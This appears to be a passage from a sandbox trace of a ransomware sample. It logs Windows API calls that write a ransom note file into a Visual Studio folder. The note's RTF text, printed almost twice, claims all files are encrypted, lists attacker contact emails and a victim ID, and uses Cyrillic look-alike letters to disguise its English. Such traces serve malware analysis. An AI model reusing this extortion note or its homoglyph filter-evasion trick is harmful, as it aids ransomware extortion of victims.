n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nt\x15F=\x89\x7fSÜÐÓ\x08\x15h|¢IªÓ]a\x0fª¥Gë`07", lpUsedDefaultChar=0x0) returned 14086 [0034.958] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.973] CloseHandle (hObject=0x1b0) returned 1 [0034.974] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\!bwng_info!.rtf")) returned 0xffffffff [0034.974] GetLastError () returned 0x2 [0034.974] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.974] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 